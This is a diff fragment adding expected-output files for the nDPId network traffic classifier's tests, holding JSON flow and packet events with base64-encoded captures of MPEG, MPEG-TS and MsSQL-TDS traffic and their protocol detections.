+02438{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":160029,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"PBXCt3IOyGyHABajCABFAAXQobRAADIGxE4uZZ13wKhQoABQ2fyPIksxT+vGvYAQAHY97gAAAQEICgC7m+4VKIZNBZCBy3xxV1Xf\/\/\/\/84jE6EG0EnAC3tbd\/\/\/\/\/\/\/\/9ds+YplbLmUIrimzVW2tkQ6XuirepT+9wW6ONNzxg4UHKCmPC2H5YWUBj0Axadp9U6DDiOBRaTqdEQAAwGKTOA+KyFChYYYLTZYgs0hCoGpuATVOqTPlDZZQx4RQAuC0owIYMaFU6VVWCP6VAxfrbs+EAQYIXGZHoKDnQceAjBwkFDrPa6D6UJaKRO47CrF1O9K4eiTJW2Zu16PK4lSXqlkLlbw1Jc41+CXtdmMr\/YkuyKKruKPxanYB0F9gqROqpC01OpjEQSmPBnUr2dco49WVDVU3nInunj1XeoFULsrUlHujo7CpFYnkU16fop+9j1bGysCeHeLNne72m1anr8Xp\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/84jE9ERT2mwA5t7d\/7\/xjF\/jOLbti2753bWvfFq08JCIGylaapE0wINVFFmev8yMGWBhY6MgTUi9ZgSsb8shgo8T0s+NhKUjmwvCODxojuDk0soqqOihg\/SaIUmEgLZUbDRlgzMMZ83dgAcAjwKyOFITDGDZPtZTAXGLPGHAaAFaSGBgyIYYPgINAgA\/AFCRkARSkOcKVYwZ5GtL7YU40PxZmLkOTFaSStkpqWQ0Sc7EWlxjKje1UEllMhajDC7tppJiruipsjTcstLYtGIcCaUqLRLMY59qJ+4IXBRCXgMKObUSyIc4Ic2HghSjTDGfDYrUupVW+W0bqjAqk88bIrS1MbHnMrLHtLrULL61qarrd\/\/v\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/84jE9USb2mwC3t7d+f\/nOLYpm1d1xjeb1+93vqX7pFiWpKlTkaAExgyqEp+VNYeoc6hsHguH0DwtbES0wJ51FRGSnAhCfcvg0GMwt9Oule0dbJx8uILslLigAqGGga4SnaRpcwIIy9SIByowYLEO6\/2mNyIAADhKpapspSBBcYqAbSViqZLbTG03jxXAMAZPDj3uw\/rKWcsMa4mq30Qe+ovyPMYhyMum5Mpep2HbkMtYQ7DXXpU5VUnntfFh0MxEaBfBnq8uJSj\/T5fRfqtgJmpzYMRSDuHbAXCydSQTp6JMqzhSKdSiULfAVDxyWnJcLtDDVTq5Sqecka4q90fz1sZmxysuVTDhMzjEiTwd0h5186vTGt\/f\/\/\/\/\/\/\/\/\/\/\/\/84jE9UXr+mgC3x7d\/\/87z7+9vvF951PW2LV9IW\/mlfDtTNrVraeJIBs19zoXGzVgiw7nRIKSYyeDkObOCINCNwGAgA+0FLGMbDoMSSfDJy\/ABXgCCy0082mGSbxqIwXlTsLqjyUjSzpazGzFRRymHtYR7KHNcS3YJBoKZKDO4xNMpPYyQZUihlSpeO7HoFXw3VLF8pC60vjklki5LbrzqxFFX5lMCNYn7UPt7SyltGBzK32HtxdiGGp0D8K0P+5LKbqnm5nPw\/RMSSHyWqUOpEMBB5jhNosKsGybxXFzLsYJORN1DSOTA6jRXJ+HWfplnkqDrbtxxuvi3GW\/y3ljb1PCTbUp1Ghk6tqtrWFy5v1JmHBvCrG1iBatPbH\/\/\/\/\/84jE8EcMPmQA5t7c\/\/\/\/\/\/\/\/\/\/8\/Nca3q9MY3DxXV8\/FI+bVh+vzPXOKQft\/W9K21Xv42KTSYk0qjax4ZbAAYsYgADuF\/GlGQRwHKxLNXq2DDKKAQkYM2Ff5i82pwplRQhAO\/Mt48MkZGTQNMZsoMvQa9pE1nGKhbKlTNbhJkClFcKaSpJdzCnuZQ5EtZTJF0syUvfVh0BrXdx1nGYwwResbwghg0Hwl4ZXCVBIadBf7OXBa9AS1JqObhtmrUmlKNYOfLnLedC2w3FAPFTu0WUrOgmJcoovyEJA0EDQ74JlD3X2wp1WVq5OUkKGluIUjTLVDQdaNNJZIwUrSdZ4MeUohy3FiqZkXVW5eZZkwz10="} +02448{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":160467,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"PBXCt3IOyGyHABajCABFAAXQobVAADIGxE0uZZ13wKhQoABQ2fyPIlDNT+vGvYAQAHZH3wAAAQEICgC7m+4VKIZNQXebeLqFqlJvr\/H\/\/\/\/\/\/\/OIxOZD7B5kAOZe3f\/\/\/\/\/\/\/\/\/\/\/mvv\/v2zExCtFhVlz5bR6W3ezlbUbWIsbNLavbETELE0lbj8KUFmCpdGTDpdJfgiBiQ1IrR\/4iumsEOrqu4isLAIsTvYwimFAdprJTuZcArTaWHgD6LjHLYiwaAm5wjoPI4jJGYoFcuzoLuqx7H8Z5ACQHTCSBBDJXxPyMsZ1KErm8wEk9aVOiHMSVKEqWxbi7qJfVaUZj0UQxmM57n6xJvDuM+Rh\/mE0mOLcRgeuOrGlSklXarOwxHBiK9AIE0ULTmEaiHRJEenlAU0VHsR1nAnTLiwVUbiseq9SJ9LMtYkCSSBaIyKist4u8QoFom6Wrnf+fXH\/\/\/\/\/\/\/\/\/\/\/\/\/1\/\/8\/Or\/W94zr5h\/\/OIxOlABC5oAVt4AdL1vnOc\/Emt0zDnxjxM3pum4ecYj5bkMCgM40mWsjBeExMdeVMwWQNjTGBsMu4iIyKBmTJgGXMXMCAyRQawUDuYOQeRhcA8mCKCMLCLGB4CCYR4KRhpPGVkuY5NhkAvmJCeZmC4OPAXAhikRG6Soa+IRjGJmn0AYNTxnwCGP2WYaBZl4qGhyqa9Xpkolg6vGLz8YHJBg0VmCBEYWAbJH0We6AKF6+nRhmyIR0YHJ5lgNGBhsZTE5rBVpOOEhKTmoVDmmStr9FhIQYGDEYjBzFMgDUDEYy4eTExpfqQoCmvQa+j6z1JINVfvmWBSYiCYjIxmcOGUkiYMLZpZQiTkMeCulWU40BtgRfa4m8rdF6ShpHwg\/\/OIxPxn5EogAZ7gAOaw9lkx6TgMO0gjB48FFuZtNwgIZjIHpUkAHMeGkwiJofnaVrhdVG1qMfqV8ZTIs4Gicpoozf723wwuGDFY8XmXcEgUBQMudkDEW5MulW6v4fVsUP6yy7z\/\/+c1\/\/\/\/\/\/\/d7oKBnT7u86KyoAXsiqqspsCQgCAOhTOtJQCjIU3\/\/jv\/7jWxq3Py1l2Vc\/\/\/9\/z8\/1\/853nS0sxDn\/\/\/9btz8oHVCpBHxf\/GEQ8mrkygkMgMZBjKVAOP4xoAAzVDoxVNQw2PwAgqYVgoYmiAYFiwYRE6YSEoLGJhrIYElGSlZiAwYsVjq4cqHmyApgMsY8fGLQppw+Y0yjRYIx0zkaNAmzagg0E+NDMi7EdRuUPjhk5I\/\/OIxG9VlGogAZ3YABAIHJAJBygDQ\/MINwawmsGgOg3YVE4cxLZsBDZehSwOAGZr3MbHAwPMGCwoChAiIwyndqI8ksoiSY7hNQS8h973bX6YKICMbVjCCFDJ6MMZLx4n2aq\/TtRCMv5ff6\/PLVglyo2\/03ORmpDTTYEvUU1G5bhlTTmd\/CpK3Nf6PyKU34AkzyJ5Rh6m3CABdrvS+VOEnagh7h3HX\/\/7\/\/\/43ft2P5nvf\/+\/9UjN3Kld6lw73\/5rv\/\/f5r\/\/99\/X5\/+\/\/f\/+u\/+vw3bt4Ycx7\/8\/vMdZ1qHr+xp2ruO+VN6\/\/\/\/\/uWP\/\/\/9i3xVwi9xlzhq5STQsyAAQLhTKujBHDs2EApsQyKiaaRIFHCEGqqXuRrWAMiAV\/\/OIxCs9GpIMAdrIAVjFjEiDRgTXXJmHRPC04uQ8k2TBCOZiQKNMVhWYqJo0Kld1wVKZMo6Yw5oMrcYLbIAQQCx9OV0VQMWWM26vWWwLar3pTGpEzqGoqtJzq1NBLoKPuZg1larzSiN143ViUB1LU9t2otRVqfONQXLL3I1erPxuFZX32cqQROrB0poN1K+U2+1XmObcmvcgmNSuPY03ZyYpspuzUyx1jKbEzZxxpeXuAijbNsbL\/XdAs4+v+lvKe7\/Moo5h7vxvIbDgg01bD7bzVIBRUcq7XT1JOASYjKcxOg2qIYjQCBNFbM3FLJZLCoMRSVlXswgIShuxpLVL9BVekaa8y5mKVKdEArA="} +00422{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":160493,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"yGyHABajPBXCt3IOCABFAAA0OtBAAEAGIs\/AqFCgLmWdd9n8AFBP68a9jyJWaYAQD9N6+gAAAQEIChUohncAu5vu"} +02410{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":161455,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"PBXCt3IOyGyHABajCABFAAXQobZAADIGxEwuZZ13wKhQoABQ2fyPIlZpT+vGvYAQAHYVzwAAAQEICgC7m+4VKIZNLxLPeV6nXf99nXeO25UCRqFtev\/ziMRJO5QiBADGFt1lt4y3ehfS44MRlUZk0\/QSGda240tmYffh2bdBF\/+QOm3WNxqGqtFF7kXpF3w5JJLasR8f6G46XDvNgTw\/jrNCWHgdLiQKRuBMPQJpeViHlZLHaQRubj4OAR3lR5pxUgz9nAT02BoeH861yJDJqpqLnDZdsov6SiunTETxNqV1\/f03ubiL4\/ZO5vNO2Oe58\/NT9sbstsTsiYfXbava633U0yc8xUOqgmG0p0vweE5ZxMoqMKQbHRWKP88aib0q4YisEyhW161usTYmzBnkw8DwL4pHUM8SCC4KNzaDsR4+S7jrN1OoxQJdCz8WziOBVsxrRlc4KJTlsPByV8RWrLpDD+YTROcm7GcCQOuOTGDIpUNN4\/\/ziMRtPNQuAAFZeAHREFghNDAT5kYD4hryhTrgzQFe+bDjeG4ikupFGvo7W0PmpGUititkjmZKeQ5UVlgR4VmVTr8qsc8wNNLZRj0\/iN0SLPmFa3rmFDvbN5vL\/G1mtveud+n9vu28at7e9\/PJjyXz96pvW77l1nEX+2c2zfFvvP1Wv1bWq4pW1L51TOd6iZp4sOqka4awxYfMEEMKaetRlRfEDRneTGJYFAjAHNSIq+oUQ5YHmizEozPOUSVbBIOIABeiHzApAVKMQDYuZMIYYac0yIIlHpuZcNPtW5NwGB0HTCjgw4aAsNMUOCCN55S09d7dlLBCMFC4oGjRhyQVMgUKqUtcCSQMFmbFxJxPdxsquwwwYUYXpdgaKig8yP\/ziMSMYDxqQAGZ0AAAM0rGShghoOYAlO9pMTM0oBoFLtkkMRR330cRcZRkN2PMuJAAxZLdCJGgDBK4HGgSRMYQLnEzg2z8WPAqUFUjTI3Qy5+F+RuowNOusoODWJfYiRCyA3bMyZ0xRhiZjAI4SDj8CLBkA03gJ+jRgScMMAzNxAMBTxiAoQZffXXPWIfuWOf3v\/5IAXcwpaXF1LAP79XK3+HmMGEAFDxSldambDGuValHc\/nf\/\/+3rC3UsajFi5DE5LOd\/87uVV7pZD0uj8BP\/DLdG3Za0dWNMTms61Wo6j6uq4bkM\/aQriRX2cpzMnZ5L\/z\/\/\/\/bgwOCP\/\/\/28W9T0UP9CxommOwv4kA9atYSULbikxC4oaI\/RymILguS\/\/ziMQeQzRCbAGPeACiwRsgAFVmDTRpPxbQgAZR2jNPUcZvjhEBAbGkvyomMonApBfSatJASCi4C9Yj+QxwEKQCbMQ\/wgbgb6HhoF7YiYo8TwLUUaLHwc6CPOQgxiFMdZnjwTT0RVVLgmqhbRlF6JnBLsc5JImUoPSfp1HDYti5N8kRdFoXc1z1Oct68YaoK5BOCgfFzLycNFs1ilJmXEykWtPAXxzxj+TekmuDLgt8ZHLpRU3PWlf\/+XCq7gKWLSbWfv\/q+NBdtjZv5\/\/\/\/+Pu\/zLWDFr8Xh6ff7\/rf0nplvs+jTRIO\/\/j69neL7h3+WbO9VtL\/\/\/PU7lgfQCIwLqQcmaKFuPwqj\/IQS4\/pAj4uhfEKb0ePERgQNVJeEcyFP\/ziMQkQVRqaAOPeABmJZS3OFOk3JopmdDW1SGaQVJCBMCWThiAe1CklbCjOIBWAXk7VBhFxoAwGWFYWFhUJhE9SqeEjDjDeIEBoF6GoPspCaCKJEfhC24fQapihl9UxQnOiyTn4ZygIMOAhBzixnsxEOD9HmepBkE+hp2DAjVJSQYlxNl0p47AbIaa6QoeLU1pcyUuhh9nMV6PbbdEi2ktq3OUKNms6uY8rqLErr1\/\/UMVWxdfNcbx\/\/WvzX\/OM6\/\/\/x8b\/3eese00eST2\/z6+2\/6Z9rRVbuL\/86x\/86xn\/P3a38uP\/\/559f\/\/5e1VdFUrLY4uZlzRQIUzHSubqqV1Zp\/pWnKXhf8="} +01235{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":161458,"pkt_caplen":665,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":665,"pkt_l4_len":631,"pkt":"PBXCt3IOyGyHABajCABFAAKLobdAADIGx5AuZZ13wKhQoABQ2fyPIlwFT+vGvYAYAHY9pgAAAQEICgC7m+4VKIZNQSlxWCwU16Cy6pgGmFF2UpCoOqaxROb\/84jEMUn8QdgB2MAAQDNNj0WmX9nE0jCg1oW6XOMYC+UXazArSkxoOZUxKXtZdVuwJAYxJ0vUkMkUsZxr8pf2Xd1TWplcpd0tq2zSVivzEnelaPJeGH0EqKMOJfJ1MbMTThFAckaYAloVczkNQ9Gn1ZyzmHajtNaXcy6DEvkinWgFdrLaR2n9jMMv7LaBgSEpAM4rpKBKDMSi0RYasWHpl2Xdh2zWhp\/rM1Gpda3SxmM5VaWl5qtTWsdZVsu1YzGbVWlpbP1qamx1lll3dWly\/eOOP5ZY\/\/\/rLLL8ssvx5+X\/+OP5U1NytTZfjz9Y\/rLLLcpjNrdLS2cf\/94444\/WppVS4kxBTUUzLjgyqqqqqqqqqqqqqqqqqqqqqqqqqqr\/84jEAAAAA0gAAAAATEFNRTMuODKqqqqqqqqqqqqqqqpMQU1FMy44Mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} diff --git a/test/results/mpegts.pcap.out b/test/results/mpegts.pcap.out new file mode 100644 index 000000000..8a97363e3 --- /dev/null +++ b/test/results/mpegts.pcap.out @@ -0,0 +1,2 @@ +02637{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"mpegts.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435209297,"pkt_ts_usec":954335,"pkt_caplen":1362,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1362,"pkt_l4_len":0,"pkt":"AQBeSMkXrPHfGMSBgQANHwgARQAFQAAAQAAHEaScCgEQMObIyRefIQTSBSxl6UcBARcAD7wd249nI5BqMCydEQCD1YeFyAwoYGMeHIwcYCWAHEkET\/taR\/5YANOTSagKaodBkABeSU4ooP2cAgISCfI7GswCLhYGUDAuoQXALotIDoDAaSxnQetyw1wSf\/AKkMmAETWkokF4lgj\/+lAZSgnOA6QAiGVAYA8goTB50WWTRpqMHIxOOJ8\/G9fR\/gRwAyKEkesyBkAB8oyaCwrrgKE0mAZ74p+4IoA5RfCyWS8HBk6egclHP3xARwEBGEEXVAcUcasfHBwWuxBEA0AR3\/itnAslgP4YRyyuCUAHIGOdlcBl0VAUgAPrJ4fANDAD4iy\/w8TBHHBQGqzAH4UZAHtGCiNQgPA1JISSwngX6AHm4Jf\/mKVIQhIaSD8CMAMGBoJf\/aEdACJNQ4OIkGi0bLH9Meczk8i+AAAAAQ4ShEUQIiWUxLGqxZhYCkaHcmBJHgFBLPZRvGhAjlBpCLwBHUOLiXyWkJ41IhP4BH1T\/uSXFhIJn\/tHAQEZ0kepcDEADUYFzAA1cjMHnioWBMyEDwGRt7NwM5CBuOLJQCnAKi98MAR7oiygHZNJiEoKSG4lmBgaTAxKQSf+iYWQguoQIAGwERxFmI3UAusNyXAUqSlbJ5X4WGOUAQUpObs+A8kBs4JQAaEE6oSWAdQMP\/9ghf9DiGSh5LAYDApaSdFFANnYrBjoHYtBPLLKRUBQDgP0DT\/\/ORgDyJQaGBg0vAKAK8BxyZ0AZ4JIBBDDOFjeKiGBUEcBARooBUCpMQWTeQxgYA46QHYBoSgCIhAOgHYCcAhDKgLuTwFgEYGcAGAZAG8AmQkA1JqS0AOwG5KwBKBQAa\/Alf+AOvwSQA\/sLgKAB+GoBCAGJrko0b0gVRwSf9QHYDoNQCQAIMqMFwDWAfgQnBg\/\/mSg85hwCgAiQkoDIXkxWGAeSTGBGAFG4YCT\/6WQ+AQpqEegNiL\/GrDRqRZackiI5OrlAZ43r4E0jenh7oKAIKjCCsBbeNw5Yo42RwEBGwAfQcAcRNBC\/5Z3JpRQI\/\/QCAlBZTk2chBKACsMQM4Iv\/Q0sAiADYCqACG5YMNXMdDDQLDOOlKiWGYBLwLsCN\/1yL7bI7FfbAAoJBHItxAyYj9CFdLCexAmGGF7vB7MBLz9L5WGDsERwDwKSQJIfcYImKe4c7uIjWFSGKP7CWSAC2zwgfUBhAEzwVP\/g6IJ5OIEAD+DAC0NAQgh\/9kMhk0B1uxSAKllJDAEQYAZFAUAQgk\/+DYh9IBHH\/8Q\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/0cf\/xD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/"} +00156{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"mpegts.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/mssql_tds.pcap.out b/test/results/mssql_tds.pcap.out new file mode 100644 index 000000000..9b8034283 --- /dev/null +++ b/test/results/mssql_tds.pcap.out @@ -0,0 +1,68 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1240877917888,"flow_last_seen":0,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":222,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":222,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":1111,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00683{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1240877917,"pkt_ts_usec":888015,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"AAwpiUrKAFBWwAABCABFAADynIJAAEAGGaUKb29vCgAAAQRXBZk+5C72WSFQkoAYAFx5qQAAAQEICgQLsN8AAVvMAQEAvgAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAAIABzAGUAdAAgAHQAcgBhAG4AcwBhAGMAdABpAG8AbgAgAGkAcwBvAGwAYQB0AGkAbwBuACAAbABlAHYAZQBsACAAIAByAGUAYQBkACAAYwBvAG0AbQBpAHQAdABlAGQAIAAgAHMAZQB0ACAAaQBtAHAAbABpAGMAaQB0AF8AdAByAGEAbgBzAGEAYwB0AGkAbwBuAHMAIABvAGYAZgAgAA=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1240877917888,"flow_last_seen":0,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":222,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":222,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":1111,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00476{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1240877917,"pkt_ts_usec":888358,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"AFBWwAABAAwpiUrKCABFAABWA25AAIAGc1UKAAABCm9vbwWZBFdZIVCSPuQvtIAYQa2\/wgAAAQEICgABW8wEC7DfBAEAIgA1AQD9AQD5AAAAAAAAAAAA\/QAAugAAAAAAAAAAAA=="} +00821{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1240877917,"pkt_ts_usec":918653,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"AAwpiUrKAFBWwAABCABFAAFYnINAAEAGGT4Kb29vCgAAAQRXBZk+5C+0WSFQtIAYAFxIvAAAAQEICgQLsOcAAVvMAwEBJAAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAA\/\/8NAAAAAAEmBAQAAAAAAADnQB8JBNAANDQAQABQADAAIABuAHYAYQByAGMAaABhAHIAKAA0ADAAMAAwACkALABAAFAAMQAgAGkAbgB0AAAA50AfCQTQADSQAHMAZQBsAGUAYwB0ACAAKgAgAGYAcgBvAG0AIAB0AGUAcwB0AF8AdABhAGIAbABlAF8AMQAgAHcAaABlAHIAZQAgAG4AYQBtAGUAIAA9ACAAQABQADAAIABhAG4AZAAgAGkAZAAgAD0AIABAAFAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAAA50AfCQTQADQGAHoAegB6AAAAJgQEAgAAAA=="} +00908{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1240877918,"pkt_ts_usec":29044,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"AFBWwAABAAwpiUrKCABFAAGaA29AAIAGchAKAAABCm9vbwWZBFdZIVC0PuQw2IAYQImkmQAAAQEICgABW84EC7DnBAEBZgA1AQCBBAAAAAAACQDvPAAJBNAANARuAGEAbQBlAAAAAAAJAO88AAkE0AA0B3MAdQByAG4AYQBtAGUAAAAAAAkA71AACQTQADQEYwBpAHQAeQAAAAAACAA4AmkAZADRPAB6AHoAegAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA8AGIAYgBiACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFAAYwB4AHgAeAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAACAAAA\/xEAwQABAAAAAAAAAHkAAAAArAAAAAEAAAAAAAAmBAQBAAAA\/gAA4AAAAAAAAAAAAA=="} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1240877917888,"flow_last_seen":1240877918029,"flow_tot_l4_data_len":1002,"flow_min_l4_data_len":66,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":1111,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1259762400004,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":2222,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":4437,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ABj+dhvGERERERESCABFAABUAAdAAEAGtr4Kb29vCgAAAQiuBZn\/ymPG\/zlOU1AYEAArKgAAAQEALAAAAQBDAE8ATQBNAEkAVAAgAFQAUgBBAE4AUwBBAEMAVABJAE8ATgA="} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1259762400004,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":2222,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00432{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":4540,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"ABj+dhvGERERERESCABFAAA5AAhAAEAGttgKAAABCm9vbwWZCK7\/OU5T\/8pj8lAYEABYKQAABAEAEQE6AQD9AADVAAAAAAA="} 